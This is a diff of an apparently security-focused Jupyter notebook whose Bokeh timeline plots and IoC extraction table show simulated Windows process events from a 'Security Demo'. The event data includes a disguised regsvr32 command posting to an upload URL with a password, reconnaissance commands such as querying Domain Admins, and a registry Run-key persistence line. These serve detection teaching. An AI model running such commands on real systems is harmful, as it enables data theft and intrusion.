\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"8262\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"8262\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2611\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2611\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" @@ -1768,7 +1999,7 @@ "\n", "\n", "\n", - "
\n" + "
\n" ] }, "metadata": {}, @@ -1780,8 +2011,8 @@ "(function(root) {\n", " function embed_document(root) {\n", " \n", - " var docs_json = {\"a4d35d9e-fdae-4853-8e8d-d5d6446c1842\":{\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"8276\"}],\"center\":[{\"id\":\"8279\"},{\"id\":\"8283\"},{\"id\":\"8338\"}],\"left\":[{\"id\":\"8280\"}],\"min_border_left\":50,\"plot_height\":150,\"plot_width\":900,\"renderers\":[{\"id\":\"8331\"},{\"id\":\"8336\"}],\"title\":{\"id\":\"8266\"},\"toolbar\":{\"id\":\"8290\"},\"x_range\":{\"id\":\"8268\"},\"x_scale\":{\"id\":\"8272\"},\"y_range\":{\"id\":\"8270\"},\"y_scale\":{\"id\":\"8274\"}},\"id\":\"8265\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"axis\":{\"id\":\"8280\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"8283\",\"type\":\"Grid\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"8329\",\"type\":\"Diamond\"},{\"attributes\":{\"formatter\":{\"id\":\"8341\"},\"ticker\":{\"id\":\"8281\"},\"visible\":false},\"id\":\"8280\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"8341\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"8353\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"8281\",\"type\":\"BasicTicker\"},{\"attributes\":{\"data\":{\"CommandLine\":[\".\\\\regsvr32 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Time\",\"formatter\":{\"id\":\"2675\"},\"ticker\":{\"id\":\"2626\"}},\"id\":\"2625\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"CommandLine\",\"@CommandLine\"],[\"EventID\",\"@EventID\"],[\"NewProcessName\",\"@NewProcessName\"],[\"TimeGenerated\",\"@TimeGenerated{%F %T.%3N}\"]]},\"id\":\"2613\",\"type\":\"HoverTool\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2693\"},{\"id\":\"2694\"},{\"id\":\"2695\"},{\"id\":\"2696\"},{\"id\":\"2697\"},{\"id\":\"2698\"},{\"id\":\"2699\"},{\"id\":\"2700\"},{\"id\":\"2701\"},{\"id\":\"2702\"},{\"id\":\"2703\"},{\"id\":\"2704\"}]},\"id\":\"2626\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"data\":{\"CommandLine\":[\".\\\\regsvr32 /u /s c:\\\\windows\\\\fonts\\\\csrss.exe\\n\\\"http://www.401k.com/upload?pass=34592389\\\" post\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"cmd /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands\\nexecuted here then please contact one of\",\"cmd /c echo timb@microsoft.com;\\nianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\rundll32.exe /C c:\\\\windows\\\\fonts\\\\conhost.exe\\nzip archive.mdb\",\"tasklist\",\"net localgroup Administrators\",\"whoami\",\"hostname\",\"netstat -an\",\"net user Bob1 /domain\",\"net user BobX /domain\",\"net group \\\"Domain Admins\\\" /domain\",\".\\\\reg.exe add\\n\\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"cmd /c echo End Security Demo tasks\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd\\nc:\\\\W!ndows\\\\System32 3\"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\W!ndows\\\\System32\\\\regsvr32.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\W!ndows\\\\System32\\\\rundll32.exe\",\"C:\\\\Windows\\\\System32\\\\tasklist.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\whoami.exe\",\"C:\\\\Windows\\\\System32\\\\HOSTNAME.EXE\",\"C:\\\\Windows\\\\System32\\\\NETSTAT.EXE\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\W!ndows\\\\System32\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"ALAwkb2OdkIAEP6QvY52QgBQGJG9jnZCAJAZkb2OdkIAkBqRvY52QgAgI5G9jnZCAKA0kb2OdkIAAD6RvY52QgCQQZG9jnZCADBDkb2OdkIAcESRvY52QgCgTZG9jnZCALBPkb2OdkIAkFGRvY52QgCwVJG9jnZCAPBVkb2OdkIAcP2QvY52Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[17]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16],\"y_index\":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]},\"selected\":{\"id\":\"2705\"},\"selection_policy\":{\"id\":\"2706\"}},\"id\":\"2612\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2701\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"start\":-1.0},\"id\":\"2619\",\"type\":\"Range1d\"},{\"attributes\":{\"axis\":{\"id\":\"2629\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"2632\",\"type\":\"Grid\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2695\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2697\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"2706\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2633\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2694\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2698\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2679\",\"type\":\"Diamond\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2702\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2613\"},{\"id\":\"2633\"},{\"id\":\"2634\"},{\"id\":\"2635\"},{\"id\":\"2636\"},{\"id\":\"2637\"}]},\"id\":\"2639\",\"type\":\"Toolbar\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2637\",\"type\":\"PanTool\"},{\"attributes\":{},\"id\":\"2630\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"2623\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2696\",\"type\":\"DaysTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"2638\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"source\":{\"id\":\"2682\"}},\"id\":\"2686\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"2635\",\"type\":\"ResetTool\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2693\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"axis\":{\"id\":\"2625\"},\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"2628\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"2636\",\"type\":\"SaveTool\"},{\"attributes\":{},\"id\":\"2708\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"2621\",\"type\":\"LinearScale\"},{\"attributes\":{\"formatter\":{\"id\":\"2690\"},\"ticker\":{\"id\":\"2630\"},\"visible\":false},\"id\":\"2629\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"2705\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"2704\",\"type\":\"YearsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2678\",\"type\":\"Diamond\"}],\"root_ids\":[\"2614\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n", + " var render_items = [{\"docid\":\"01eedd46-56b0-4b2d-91a5-9107b1292fab\",\"root_ids\":[\"2614\"],\"roots\":{\"2614\":\"c0211239-d4d0-4c4b-a2b9-ae5b232e401a\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", @@ -1808,7 +2039,7 @@ }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { - "id": "8265" + "id": "2614" } }, "output_type": "display_data" @@ -1849,6 +2080,7 @@ " IoCType\n", " Observable\n", " SourceIndex\n", + " Input\n", " \n", " \n", " \n", @@ -1857,31 +2089,39 @@ " dns\n", " www.401k.com\n", " 0\n", + " .\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post\n", " \n", " \n", " 1\n", " url\n", " http://www.401k.com/upload?pass=34592389\n", " 0\n", + " .\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post\n", " \n", " \n", " 2\n", " dns\n", " microsoft.com\n", " 4\n", + " cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com\n", " \n", " \n", "\n", "" ], "text/plain": [ - " IoCType Observable SourceIndex\n", - "0 dns www.401k.com 0\n", - "1 url http://www.401k.com/upload?pass=34592389 0\n", - "2 dns microsoft.com 4" + " IoCType Observable SourceIndex \\\n", + "0 dns www.401k.com 0 \n", + "1 url http://www.401k.com/upload?pass=34592389 0 \n", + "2 dns microsoft.com 4 \n", + "\n", + " Input \n", + "0 .\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post \n", + "1 .\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post \n", + "2 cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com " ] }, - "execution_count": 37, + "execution_count": 13, "metadata": {}, "output_type": "execute_result" } @@ -1917,7 +2157,7 @@ }, { "cell_type": "code", - "execution_count": 13, + "execution_count": 14, "metadata": { "ExecuteTime": { "end_time": "2020-08-25T19:15:17.293887Z", @@ -2299,7 +2539,7 @@ }, { "cell_type": "code", - "execution_count": 14, + "execution_count": 15, "metadata": { "ExecuteTime": { "end_time": "2020-08-25T19:15:17.341891Z", @@ -2334,10 +2574,10 @@ { "data": { "text/html": [ - "
Make this Notebook Trusted to load map: File -> Trust Notebook
" + "
Make this Notebook Trusted to load map: File -> Trust Notebook
" ], "text/plain": [ - "" + "" ] }, "metadata": {}, @@ -2372,7 +2612,7 @@ }, { "cell_type": "code", - "execution_count": 15, + "execution_count": 16, "metadata": { "ExecuteTime": { "end_time": "2020-08-25T19:15:17.373889Z", @@ -2413,7 +2653,7 @@ }, { "cell_type": "code", - "execution_count": 16, + "execution_count": 17, "metadata": { "ExecuteTime": { "end_time": "2020-08-25T19:15:17.990888Z", @@ -2427,7 +2667,7 @@ "\n", "
\n", " \n", - " Loading BokehJS ...\n", + " Loading BokehJS ...\n", "
" ] }, @@ -2597,7 +2837,7 @@ " \"\"}};\n", "\n", " function display_loaded() {\n", - " var el = document.getElementById(\"2128\");\n", + " var el = document.getElementById(\"2814\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", @@ -2663,7 +2903,7 @@ " document.body.appendChild(element);\n", " }\n", "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", @@ -2688,7 +2928,7 @@ " }\n", "\n", " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", @@ -2717,7 +2957,7 @@ " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"2128\")).parents('.cell').data().cell;\n", + " var cell = $(document.getElementById(\"2814\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", @@ -2734,7 +2974,7 @@ " }\n", "}(window));" ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2128\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if 